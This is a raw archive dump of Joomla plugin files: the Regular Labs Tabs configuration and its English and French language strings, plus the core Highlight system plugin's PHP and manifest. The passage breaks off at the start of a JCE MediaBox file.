    <folder>css</folder>
    <folder>js</folder>
    <folder>less</folder>
  </media>
  <config>
    <fields name="params" addfieldpath="/libraries/regularlabs/fields">
      <fieldset name="basic">
        <field name="@load_language_regularlabs" type="rl_loadlanguage" extension="plg_system_regularlabs"/>
        <field name="@load_language" type="rl_loadlanguage" extension="plg_system_tabs"/>
        <field name="@license" type="rl_license" extension="TABS"/>
        <field name="@version" type="rl_version" extension="TABS"/>
        <field name="@header" type="rl_header" label="TABS" description="TABS_DESC" url="https://regularlabs.com/tabs"/>
      </fieldset>
      <fieldset name="RL_STYLING">
        <field name="load_stylesheet" type="radio" class="btn-group" default="1" label="RL_LOAD_STYLESHEET" description="RL_LOAD_STYLESHEET_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="mainclass" type="text" default="" label="TAB_MAIN_CLASS" description="TAB_MAIN_CLASS_DESC"/>
        <field name="@note__positioning" type="rl_onlypro" label="TAB_POSITIONING_HANDLES" description="TAB_POSITIONING_HANDLES_DESC"/>
        <field name="alignment" type="radio" class="btn-group" default="" label="TAB_ALIGNMENT_HANDLES" description="TAB_ALIGNMENT_HANDLES_DESC">
          <option value="">RL_AUTO</option>
          <option value="left">&lt;span class="icon-reglab-paragraph-left"&gt;&lt;/span&gt;</option>
          <option value="right">&lt;span class="icon-reglab-paragraph-right"&gt;&lt;/span&gt;</option>
          <option value="center">&lt;span class="icon-reglab-paragraph-center"&gt;&lt;/span&gt;</option>
          <option value="justify">&lt;span class="icon-reglab-paragraph-justify"&gt;&lt;/span&gt;</option>
        </field>
        <field name="color_inactive_handles" type="radio" class="btn-group" default="0" label="TAB_COLOR_INACTIVE_HANDLES" description="TAB_COLOR_INACTIVE_HANDLES_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="outline_handles" type="radio" class="btn-group" default="1" label="TAB_OUTLINE_HANDLES" description="TAB_OUTLINE_HANDLES_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="outline_content" type="radio" class="btn-group" default="1" label="TAB_OUTLINE_CONTENT" description="TAB_OUTLINE_CONTENT_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
      </fieldset>
      <fieldset name="RL_BEHAVIOUR">
        <field name="@note__fade" type="rl_onlypro" label="TAB_FADE" description="TAB_FADE_DESC"/>
        <field name="@note__mode" type="rl_onlypro" label="TAB_MODE" description="TAB_MODE_DESC"/>
        <field name="@block__scroll__a" type="rl_block" start="1" label="TAB_SCROLL"/>
        <field name="@note__scroll" type="rl_onlypro" label="TAB_SCROLL" description="TAB_SCROLL_DESC"/>
        <field name="@note__linkscroll" type="rl_onlypro" label="TAB_SCROLL_LINKS" description="TAB_SCROLL_LINKS_DESC"/>
        <field name="@note__urlscroll" type="rl_onlypro" label="TAB_SCROLL_BY_URL" description="TAB_SCROLL_BY_URL_DESC"/>
        <field name="@note__scrolloffset" type="rl_onlypro" label="TAB_SCROLL_OFFSET" description="TAB_SCROLL_OFFSET_DESC"/>
        <field name="@block__scroll__b" type="rl_block" end="1"/>
        <field name="@block__slideshow__a" type="rl_block" start="1" label="TAB_SLIDESHOW"/>
        <field name="@note__slideshow_timeout" type="rl_onlypro" label="TAB_SLIDESHOW_TIMEOUT" description="TAB_SLIDESHOW_TIMEOUT_DESC"/>
        <field name="@block__slideshow__b" type="rl_block" end="1"/>
      </fieldset>
      <fieldset name="RL_SETTINGS_EDITOR_BUTTON">
        <field name="button_text" type="text" default="Tabs" label="RL_BUTTON_TEXT" description="RL_BUTTON_TEXT_DESC"/>
        <field name="enable_frontend" type="radio" class="btn-group" default="1" label="RL_ENABLE_IN_FRONTEND" description="RL_ENABLE_IN_FRONTEND_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="button_use_simple_button" type="radio" class="btn-group" default="0" label="RL_USE_SIMPLE_BUTTON" description="RL_USE_SIMPLE_BUTTON_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="button_max_count" type="list" class="input-mini" default="10" label="TAB_MAX_TAB_COUNT" description="TAB_MAX_TAB_COUNT_DESC" showon="button_use_simple_button:0">
          <option value="5">5</option>
          <option value="10">10</option>
          <option value="20">20</option>
          <option value="30">30</option>
        </field>
        <field name="@showon__button_use_simple_button_yes__a" type="rl_showon" value="button_use_simple_button:1"/>
        <field name="button_use_custom_code" type="radio" class="btn-group" default="0" label="RL_USE_CUSTOM_CODE" description="RL_USE_CUSTOM_CODE_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="button_custom_code" type="rl_textareaplus" filter="RAW" texttype="html" width="400" height="300" default="&lt;p&gt;{tab Tab Title 1}&lt;/p&gt;[:SELECTION:]&lt;p&gt;{tab Tab Title 2}&lt;/p&gt;&lt;p&gt;Tab text...&lt;/p&gt;&lt;p&gt;{/tabs}&lt;/p&gt;" label="RL_CUSTOM_CODE" description="RL_CUSTOM_CODE_DESC" showon="button_use_custom_code:1"/>
        <field name="@showon__button_use_simple_button_yes__b" type="rl_showon"/>
      </fieldset>
      <fieldset name="RL_TAG_SYNTAX">
        <field name="tag_open" type="text" size="20" default="tab" label="TAB_OPENING_TAG" description="TAB_OPENING_TAG_DESC"/>
        <field name="tag_close" type="text" size="20" default="tabs" label="TAB_CLOSING_TAG" description="TAB_CLOSING_TAG_DESC"/>
        <field name="tag_delimiter" type="radio" class="btn-group" size="2" default="space" label="RL_TAG_SYNTAX" description="TAB_TAG_SYNTAX_DESC" showon="tag_delimiter:=">
          <option value="space">TAB_SYNTAX_SPACE</option>
          <option value="=">TAB_SYNTAX_IS</option>
        </field>
        <field name="tag_characters" type="list" default="{.}" class="input-small" label="RL_TAG_CHARACTERS" description="RL_TAG_CHARACTERS_DESC">
          <option value="{.}">{...}</option>
          <option value="[.]">[...]</option>
          <option value="«.»">«...»</option>
          <option value="{{.}}">{{...}}</option>
          <option value="[[.]]">[[...]]</option>
          <option value="[:.:]">[:...:]</option>
          <option value="[%.%]">[%...%]</option>
        </field>
      </fieldset>
      <fieldset name="advanced">
        <field name="@note__use_responsive_view" type="rl_onlypro" label="TAB_USE_RESPONSIVE_VIEW" description="TAB_USE_RESPONSIVE_VIEW_DESC"/>
        <field name="output_title_tag" type="radio" class="btn-group" default="1" label="TAB_OUTPUT_TITLE_TAG" description="TAB_OUTPUT_TITLE_TAG_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="title_tag" type="text" size="5" class="input-mini" default="h2" label="TAB_TITLE_TAG" description="TAB_TITLE_TAG_DESC"/>
        <field name="use_hash" type="radio" class="btn-group" default="1" label="TAB_USE_HASH" description="TAB_USE_HASH_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="reload_iframes" type="radio" class="btn-group" default="0" label="TAB_RELOAD_IFRAMES" description="TAB_RELOAD_IFRAMES_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="init_timeout" type="number" size="5" class="input-mini" default="0" label="TAB_INIT_TIMEOUT" description="TAB_INIT_TIMEOUT_DESC"/>
        <field name="@note__use_cookies" type="rl_onlypro" label="TAB_USE_COOKIES" description="TAB_USE_COOKIES_DESC"/>
        <field name="@note__disabled_components" type="rl_onlypro" label="RL_DISABLE_ON_COMPONENTS" description="RL_DISABLE_ON_COMPONENTS_DESC"/>
        <field name="enable_admin" type="radio" class="btn-group" default="0" label="RL_ENABLE_IN_ADMIN" description="RL_ENABLE_IN_ADMIN_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="place_comments" type="radio" class="btn-group" default="1" label="RL_PLACE_HTML_COMMENTS" description="RL_PLACE_HTML_COMMENTS_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="media_versioning" type="radio" class="btn-group" default="1" label="RL_MEDIA_VERSIONING" description="RL_MEDIA_VERSIONING_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="load_bootstrap_framework" type="radio" class="btn-group" default="1" label="RL_LOAD_BOOTSTRAP_FRAMEWORK" description="RL_LOAD_BOOTSTRAP_FRAMEWORK_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="@showon__no_load_bootstrap_framework__a" type="rl_showon" value="load_bootstrap_framework:0"/>
        <field name="@note__load_bootstrap_framework" type="note" class="alert alert-danger" description="RL_BOOTSTRAP_FRAMEWORK_DISABLED,TABS"/>
        <field name="load_jquery" type="radio" class="btn-group" default="0" label="RL_LOAD_JQUERY" description="RL_LOAD_JQUERY_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="@note__no_load_jquery" type="note" class="alert alert-danger" description="RL_JQUERY_DISABLED,TABS" showon="load_jquery:0"/>
        <field name="@showon__no_load_bootstrap_framework__b" type="rl_showon"/>
      </fieldset>
    </fields>
  </config>
</extension>
PK�(]�b ���4system/tabs/language/en-GB/en-GB.plg_system_tabs.ininu�[���;; @package         Tabs
;; @version         8.3.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_SYSTEM_TABS="System - Regular Labs - Tabs"
PLG_SYSTEM_TABS_DESC="Tabs - make content tabs in Joomla!"
TABS="Tabs"

INSERT_TABS="Insert Tabs"
TABS_DESC="With Tabs you can make content tabs anywhere in Joomla!<br><br>The syntax simply looks like:<br><span class=&quot;rl-code rl-code-block&quot;>{tab title=&quot;Tab Title 1&quot;}<br>Your text...<br>{tab title=&quot;Tab Title 2&quot;}<br>Your text...<br>{/tabs}</span>"

TAB_EXTENSION_CAN_NOT_FUNCTION="[[%1:extension name%]] cannot function."
TAB_REGULAR_LABS_LIBRARY_NOT_ENABLED="Regular Labs Library plugin is not enabled."
TAB_REGULAR_LABS_LIBRARY_NOT_INSTALLED="Regular Labs Library plugin is not installed."

TAB_ALIAS_DESC="Optionally give the tab an alias if you want it to be different than the one Tabs generates based on the title."
TAB_ALIGNMENT_HANDLES="Alignment Handles"
TAB_ALIGNMENT_HANDLES_DESC="Select the alignment of the handles. Option 'Auto' will align the handles left or right based on the language settings."
TAB_CLICK="Click"
TAB_CLOSING_TAG="Closing Tag"
TAB_CLOSING_TAG_DESC="The word used for the closing tag for tabs.<br><br>By default this is 'tabs'. So an closing tag looks like:<br><span class=&quot;rl-code rl-code-block&quot;>{/tabs}</span><br>You can change the word if you are using another plugin that uses this tag syntax."
TAB_COLOR_INACTIVE_HANDLES="Color Inactive Handles"
TAB_COLOR_INACTIVE_HANDLES_DESC="Select to have a grey background for the non-active tab handles."
TAB_CONTENT_DESC="You can edit the content of the tab after it has been inserted into the editor."
TAB_DEFAULT="Opened by Default"
TAB_DEFAULT_DESC="Select to make this tab opened by default. You need to set one tab per tab as the default."
TAB_ERROR_EMPTY_TITLE="Please give at least the first tab a title."
TAB_FADE="Fade"
TAB_FADE_DESC="Select to enable fading of the content when switching between tabs."
TAB_HOVER="Hover"
TAB_INIT_TIMEOUT="Initialise Delay"
TAB_INIT_TIMEOUT_DESC="Set the delay in milliseconds to initialise the Tabs script after pageload. You can use this to make Tabs initialise after other scripts that may require this to function."
TAB_MAIN_CLASS="Main Class"
TAB_MAIN_CLASS_DESC="Optionally add extra class names to the main Tabs container."
TAB_MAX_TAB_COUNT="Maximum number of Tabs"
TAB_MAX_TAB_COUNT_DESC="Set the maximum number of tabs shown in the editor button popup window. Increasing this number can cause that window to take longer to load."
TAB_MODE="Mode"
TAB_MODE_DESC="Select whether the tabs should change on mouse click or hover."
TAB_NESTED_ID="Nested Set ID"
TAB_NESTED_ID_DESC="Give the nested set an id. This should not be the same as any other nested set within the same parent tab."
TAB_NESTED_SET="Handle as Nested Set"
TAB_NESTED_SET_DESC="Select if this is a set inside another tab set"
TAB_OLD="Old School"
TAB_OPENING_TAG="Opening Tag"
TAB_OPENING_TAG_DESC="The word used for the opening tags for tabs.<br><br>By default this is 'tab'. So an opening tag looks like:<br><span class=&quot;rl-code rl-code-block&quot;>{tab title=&quot;My Tab Title&quot;}</span><br>You can change the word if you are using another plugin that uses this tag syntax."
TAB_OUTLINE="Use outline"
TAB_OUTLINE_CONTENT="Outline Content"
TAB_OUTLINE_CONTENT_DESC="Select to have a border and padding around the content."
TAB_OUTLINE_HANDLES="Outline Handles"
TAB_OUTLINE_HANDLES_DESC="Select to have a border around the tab handles."
TAB_OUTPUT_TITLE_TAG="Output Title Tag"
TAB_OUTPUT_TITLE_TAG_DESC="Select to output the title tag. These tags will be hidden when the tabs are generated, but will be visible on pages where the sliders are not handled (like on browsers that do not support javascript)."
TAB_POSITIONING_HANDLES="Positioning Handles"
TAB_POSITIONING_HANDLES_DESC="Select the positioning (placement) of the handles."
TAB_RELOAD_IFRAMES="Reload Iframes"
TAB_RELOAD_IFRAMES_DESC="Select to make the iframes reload the first time the tab it is in gets activated. Only use this when you have iframes that cause issues when loaded in closed tabs."
TAB_SAVE_COOKIES="Save Cookies"
TAB_SAVE_COOKIES_DESC="If selected, the active tabs will be stored in the cookies. Enable this if you want to use this information in other custom scripts."
TAB_SCROLL="Scroll to Top"
TAB_SCROLL_BY_URL="Scroll by URL"
TAB_SCROLL_BY_URL_DESC="If selected, the window will scroll to the top of the tabs when a tab is opened via the URL. You can overrule this option by adding a minus (-) to the end of the tab name in the URL.<br><br>If not selected, you can overrule this and make the page scroll by adding a plus (+) to the end of the tab name in the URL."
TAB_SCROLL_DESC="If selected, the window will scroll to the top of the tabs when a tab is opened."
TAB_SCROLL_LINKS="Scroll on Links"
TAB_SCROLL_LINKS_DESC="If selected, the window will scroll to the top of the tabs when a tab is opened via a link."
TAB_SCROLL_OFFSET="Scroll offset"
TAB_SCROLL_OFFSET_DESC="The scroll offset in pixels. If this is set to a negative number, the browser will scroll to a point above the tab. This can be useful when your website has a floating top menu."
TAB_SCROLL_OFFSET_MOBILE="Scroll offset (mobile)"
TAB_SET_SETTINGS="Tab Set Settings"
TAB_SLIDESHOW="Slideshow"
TAB_SLIDESHOW_DESC="Select to make the tabs automatically open one-by-one using the default or given timeout."
TAB_SLIDESHOW_TIMEOUT="Slideshow Interval"
TAB_SLIDESHOW_TIMEOUT_DESC="The time each tab should show before going to the next tab (in milliseconds)."
TAB_STOP_SLIDESHOW_ON_CLICK="Stop on click"
TAB_STOP_SLIDESHOW_ON_CLICK_DESC="Select to make the slideshow stop when clicking on one of the tab handles."
TAB_TAB_NUMBER="Tab [[%1:number%]]"
TAB_TAG_SYNTAX_DESC="Select whether to use a space or '=' in the tags to separate the tag name from the title."
TAB_TITLE_EMPTY="Only tabs that have a title will be used."
TAB_TITLE_TAG="Title tag"
TAB_TITLE_TAG_DESC="This is the tag type used for the tab titles. These tags will be hidden when the tabs are generated, but will be visible on pages where the tabs are not handled (like on the print page or on browsers that do not support javascript)."
TAB_USE_COOKIES="Use Cookies"
TAB_USE_COOKIES_DESC="If selected, the active tabs will be stored in the cookies and will remain active when page is revisited."
TAB_USE_HASH="Use Hash"
TAB_USE_HASH_DESC="If selected, the active tab can be set via the hash fragment in the URL (#my-tab-title) and will be added to the URL when a tab is activated"
TAB_USE_RESPONSIVE_VIEW="Use alternative mobile view"
TAB_USE_RESPONSIVE_VIEW_DESC="Select to change the tabs to a stacked navigation list on mobile width screens."
PK�(])iX8system/tabs/language/en-GB/en-GB.plg_system_tabs.sys.ininu�[���;; @package         Tabs
;; @version         8.3.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_SYSTEM_TABS="System - Regular Labs - Tabs"
PLG_SYSTEM_TABS_DESC="Tabs - make content tabs in Joomla!"
TABS="Tabs"
PK�(]�$__8system/tabs/language/fr-FR/fr-FR.plg_system_tabs.sys.ininu�[���;; @package         Tabs
;; @version         8.3.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_SYSTEM_TABS="Système - Panneaux à onglets Regular Labs"
PLG_SYSTEM_TABS_DESC="Le plug-in système Tabs permet de créer/insérer des panneaux à onglets (tabs) dans tous les contenus Joomla!"
TABS="Onglets"
PK�(]?�{*�'�'4system/tabs/language/fr-FR/fr-FR.plg_system_tabs.ininu�[���;; @package         Tabs
;; @version         8.3.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_SYSTEM_TABS="Système - Panneaux à onglets Regular Labs"
PLG_SYSTEM_TABS_DESC="Le plug-in système Tabs permet de créer/insérer des panneaux à onglets (tabs) dans tous les contenus Joomla!"
TABS="Onglets"

INSERT_TABS="Insérer un panneau à onglets"
TABS_DESC="Le plug-in système Tabs de Regular Labs vous permet de créer/insérer des panneaux à onglets (tabs) dans tous les contenus Joomla tels les descriptions de catégorie, les articles, les modules personnalisés, et tout autre composant ayant une zone d'éditeur.<br><br>Vous pouvez insérer les panneaux à onglets à l'aide du bouton sous l'éditeur ou, en insérant les balises manuellement.<br>La syntaxe des panneaux à onglets prend cette forme&nbsp;:<br><span class=&quot;rl-code rl-code-block&quot;>{tab title=&quot;Titre 1&quot;}<br>Votre texte...<br>{tab title=&quot;Titre 2&quot;}<br>Votre texte...<br>{/tabs}</span>"

TAB_EXTENSION_CAN_NOT_FUNCTION="[[%1:extension name%]] ne peut pas fonctionner."
TAB_REGULAR_LABS_LIBRARY_NOT_ENABLED="Le plugin Regular Labs Library n'est pas activé."
TAB_REGULAR_LABS_LIBRARY_NOT_INSTALLED="Le plugin Regular Labs Library n'est pas installé."

TAB_ALIAS_DESC="Vous pouvez attribuer un alias à l'onglet si vous voulez qu'il soit différent de celui généré sur la base du titre."
TAB_ALIGNMENT_HANDLES="Alignement des onglets"
TAB_ALIGNMENT_HANDLES_DESC="Sélectionnez l'alignement des onglets.<br>'Auto' aligne les onglets à gauche ou à droite en fonction des paramètres de langue.<br>Justifié aligne les onglets en fonction des paramètres de langue en les justifiant à la largeur totale du panneau."
TAB_CLICK="Clic"
TAB_CLOSING_TAG="Identifiant de fermeture"
TAB_CLOSING_TAG_DESC="Mot utilisé comme identifiant de la balise de fermeture des panneaux à onglets, 'tabs' par défaut. Vous pouvez changer ce mot si un autre plug-in l'utilise déjà pour la syntaxe de ses balises.<br>Exemple des balises d'un panneau à 2 onglets :<br><span class=&quot;rl-code rl-code-block&quot;>{tab title=&quot;Onglet 1&quot;}</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Le contenu de l'onglet 1<br><span class=&quot;rl-code&quot;>{tab title=&quot;Onglet 2&quot;}</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Le contenu de l'onglet 2<br><span class=&quot;rl-code&quot;>{/tabs}</span>"
TAB_COLOR_INACTIVE_HANDLES="Couleur d'onglets inactifs"
TAB_COLOR_INACTIVE_HANDLES_DESC="En sélectionnant 'Oui', un fond gris est appliqué aux onglets fermés."
TAB_CONTENT_DESC="Vous pouvez modifier le contenu de l'onglet après l'avoir inséré dans l'éditeur."
TAB_DEFAULT="Ouvert par défaut"
TAB_DEFAULT_DESC="Sélectionnez ce paramètre pour ouvrir cet onglet par défaut. Vous devez définir un onglet par défaut."
TAB_ERROR_EMPTY_TITLE="Veuillez donner au moins un titre au premier onglet."
TAB_FADE="Fondu de tansition"
TAB_FADE_DESC="Sélectionnez 'Oui' pour activer un effet de fondu lors de la transition d'un onglet à l'autre."
TAB_HOVER="Survol"
TAB_INIT_TIMEOUT="Initialisation du script"
TAB_INIT_TIMEOUT_DESC="Vous pouvez définir ici un délai en millisecondes avant l'initialisation du script des panneaux à onglets si, pour une raison de bon fonctionnement, vous devez laisser d'autres scripts s'initialiser en premier. Vous pouvez par exemple indiquer le temps calculé du chargement de la page."
TAB_MAIN_CLASS="Classes supplémentaires"
TAB_MAIN_CLASS_DESC="Vous pouvez ajouter un ou plusieurs noms de classe à appliquer à la div principale des panneaux à onglets (tabs). L'ajout d'une nouvelle classe permet de personnaliser les styles des classes de l'extension, en reprenant ces mêmes classes précédées de celle(s) ajoutée(s) dans un fichier CSS chargé dans la page."
TAB_MAX_TAB_COUNT="Nombre d'onglets proposés"
TAB_MAX_TAB_COUNT_DESC="Définissez le nombre d'onglets affichés dans la fenêtre des paramètres d'insertion disponible lors d'un clic du bouton placé sous l'éditeur. Attention, un nombre important d'onglets peut entraîner un chargement plus long de la fenêtre."
TAB_MODE="Élément de transition"
TAB_MODE_DESC="Sélectionner l'élément devant déclencher la transition entre les onglets&nbsp;: le clic ou le survol de souris sur l'onglet."
TAB_NESTED_ID="Id du lot imbiqué"
TAB_NESTED_ID_DESC="Donnez à cet ensemble imbriqué un id unique (ne doit pas être le même que tout autre ensemble imbriqué dans le même onglet parent)."
TAB_NESTED_SET="Définir comme lot imbriqué"
TAB_NESTED_SET_DESC="Sélectionnez ce paramètre si l'ensemble de ces panneaux à onglets se trouvent dans un autre ensemble de panneaux à onglets"
TAB_OLD="Vieille école"
TAB_OPENING_TAG="Identifiant d'ouverture"
TAB_OPENING_TAG_DESC="Mot utilisé comme identifiant de la balise d'ouverture des panneaux à onglets, 'tab' par défaut. Vous pouvez changer ce mot si un autre plug-in l'utilise déjà pour la syntaxe de ses balises.<br>Exemple des balises d'un panneau à 2 onglets :<br><span class=&quot;rl-code rl-code-block&quot;>{tab title=&quot;Onglet 1&quot;}</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Le contenu de l'onglet 1<br><span class=&quot;rl-code&quot;>{tab title=&quot;Onglet 2&quot;}</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Le contenu de l'onglet 2<br><span class=&quot;rl-code&quot;>{/tabs}</span>"
TAB_OUTLINE="Afficher les contours"
TAB_OUTLINE_CONTENT="Contour des panneaux"
TAB_OUTLINE_CONTENT_DESC="Sélectionnez 'Oui' si vous souhaitez attribuer une bordure à la zone de contenu."
TAB_OUTLINE_HANDLES="Contour des onglets"
TAB_OUTLINE_HANDLES_DESC="Sélectionnez cette option pour avoir une bordure autour des onglets."
; TAB_OUTPUT_TITLE_TAG="Output Title Tag"
; TAB_OUTPUT_TITLE_TAG_DESC="Select to output the title tag. These tags will be hidden when the tabs are generated, but will be visible on pages where the sliders are not handled (like on browsers that do not support javascript)."
TAB_POSITIONING_HANDLES="Position des onglets"
TAB_POSITIONING_HANDLES_DESC="Sélectionnez le positionnement (placement) des onglets&nbsp;: haut, bas, gauche ou droite du panneau."
TAB_RELOAD_IFRAMES="Recharger les iframes"
TAB_RELOAD_IFRAMES_DESC="Sélectionnez 'Oui' pour que les iframes soient rechargées lors de leur premier affichage (onglet activé) si elles ne s'affichent pas correctement après chargement dans des onglets fermés."
TAB_SAVE_COOKIES="Cookies - Onglets actifs"
TAB_SAVE_COOKIES_DESC="Sélectionnez 'Oui' pour que les onglets actifs soient mémorisés par des cookies. Activez cette option si vous souhaitez utiliser ces informations dans des scripts personnalisés."
TAB_SCROLL="Défilement de fenêtre"
TAB_SCROLL_BY_URL="Défilement par URL complète"
TAB_SCROLL_BY_URL_DESC="Sélectionnez 'Oui' si vous souhaitez que la fenêtre défile vers le haut des onglets lorsqu'un onglet est ouvert via son URL complète.<br>Vous pouvez annuler cette option en ajoutant un signe moins (-) dans l'URL à la fin du nom de l'onglet."
TAB_SCROLL_DESC="Sélectionnez 'Oui' si vous souhaitez que la fenêtre défile vers le haut des onglets lorsqu'un onglet est ouvert."
TAB_SCROLL_LINKS="Défilement par lien d'ancre"
TAB_SCROLL_LINKS_DESC="Sélectionnez 'Oui' si vous souhaitez que la fenêtre défile vers le haut des onglets lorsqu'un onglet est ouvert via un lien dans la même page (ancre)."
TAB_SCROLL_OFFSET="Défilement compensé (ordi)"
TAB_SCROLL_OFFSET_DESC="Vous pouvez appliquer un décalage en pixels au défilement de la fenêtre sur les onglets. Par exemple, si ce paramètre est réglé sur un nombre négatif comme -20px, le navigateur va défiler jusqu'à 20 pixels au-dessus des onglets. Un décalage négatif peut s'avérer utile lorsque votre site dispose d'un menu haut fixe (ne défilant pas avec la fenêtre) pouvant couvrir les panneaux à onglets."
TAB_SCROLL_OFFSET_MOBILE="Défilement compensé (mobile)"
TAB_SET_SETTINGS="Paramètres de la série d'onglets"
TAB_SLIDESHOW="Diaporama"
TAB_SLIDESHOW_DESC="Sélectionnez cette option pour que les onglets s'ouvrent automatiquement un par un à l'aide de la valeur par défaut ou délai donné."
TAB_SLIDESHOW_TIMEOUT="Durée d'affichage"
TAB_SLIDESHOW_TIMEOUT_DESC="Durée d'affichage de chaque onglet avant de passer au suivant (en millisecondes)."
TAB_STOP_SLIDESHOW_ON_CLICK="Stopper au clic"
TAB_STOP_SLIDESHOW_ON_CLICK_DESC="Sélectionnez 'Oui' si vous souhaitez que le défilement du diaporama stoppe lors d'un clic sur l'un des onglets."
TAB_TAB_NUMBER="Onglet [[%1:number%]]"
TAB_TAG_SYNTAX_DESC="Choisissez entre un espace &nbsp;&nbsp; et le caractère égal &nbsp;=&nbsp; le type de séparation à utiliser entre l'identifiant et le titre dans la syntaxe des balises d'ouverture."
TAB_TITLE_EMPTY="Seuls les onglets qui ont un titre seront utilisés."
TAB_TITLE_TAG="Balise de titre (affichage brut)"
; TAB_TITLE_TAG_DESC="This is the tag type used for the tab titles. These tags will be hidden when the tabs are generated, but will be visible on pages where the tabs are not handled (like on the print page or on browsers that do not support javascript)."
TAB_USE_COOKIES="Cookies - État des onglets"
TAB_USE_COOKIES_DESC="Sélectionnez 'Oui' pour que l'état des onglets (ouverts, fermés) soient mémorisé par des cookies. Cela permet de retrouver les onglets dans une page revisitée tels qu'ils étaient lorsque vous avez quitté la page."
TAB_USE_HASH="Hachage dans l'URL"
TAB_USE_HASH_DESC="Sélectionnez 'Oui' si vous souhaitez que l'onglet actif puisse être sélectionné via un fragment de hachage dans l'URL (...#titre). Si 'Oui', le hachage avec le titre est ajouté à l'URL lorsqu'un onglet est activé."
TAB_USE_RESPONSIVE_VIEW="Affichage alternatif pour mobile"
TAB_USE_RESPONSIVE_VIEW_DESC="Sélectionnez 'Oui' si vous souhaitez remplacer les onglets par une liste de navigation empilée sur les écrans des appareils mobiles (smartphone/tablette)."
PK�(]#�K<<system/highlight/highlight.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Highlight
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * System plugin to highlight terms.
 *
 * @since  2.5
 */
class PlgSystemHighlight extends JPlugin
{
	/**
	 * Method to catch the onAfterDispatch event.
	 *
	 * This is where we setup the click-through content highlighting for.
	 * The highlighting is done with JavaScript so we just
	 * need to check a few parameters and the JHtml behavior will do the rest.
	 *
	 * @return  boolean  True on success
	 *
	 * @since   2.5
	 */
	public function onAfterDispatch()
	{
		// Check that we are in the site application.
		if (JFactory::getApplication()->isClient('administrator'))
		{
			return true;
		}

		// Set the variables.
		$input = JFactory::getApplication()->input;
		$extension = $input->get('option', '', 'cmd');

		// Check if the highlighter is enabled.
		if (!JComponentHelper::getParams($extension)->get('highlight_terms', 1))
		{
			return true;
		}

		// Check if the highlighter should be activated in this environment.
		if ($input->get('tmpl', '', 'cmd') === 'component' || JFactory::getDocument()->getType() !== 'html')
		{
			return true;
		}

		// Get the terms to highlight from the request.
		$terms = $input->request->get('highlight', null, 'base64');
		$terms = $terms ? json_decode(base64_decode($terms)) : null;

		// Check the terms.
		if (empty($terms))
		{
			return true;
		}

		// Clean the terms array.
		$filter     = JFilterInput::getInstance();

		$cleanTerms = array();

		foreach ($terms as $term)
		{
			$cleanTerms[] = htmlspecialchars($filter->clean($term, 'string'));
		}

		// Activate the highlighter.
		JHtml::_('behavior.highlighter', $cleanTerms);

		// Adjust the component buffer.
		$doc = JFactory::getDocument();
		$buf = $doc->getBuffer('component');
		$buf = '<br id="highlighter-start" />' . $buf . '<br id="highlighter-end" />';
		$doc->setBuffer($buf, 'component');

		return true;
	}
}
PK�(];��f44system/highlight/highlight.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_highlight</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see	LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="highlight">highlight.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_highlight.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_highlight.sys.ini</language>
	</languages>
</extension>
PK�(]�1���(system/jcemediabox/elements/menuitem.phpnu�[���<?php
/**
 * @package   	JCE
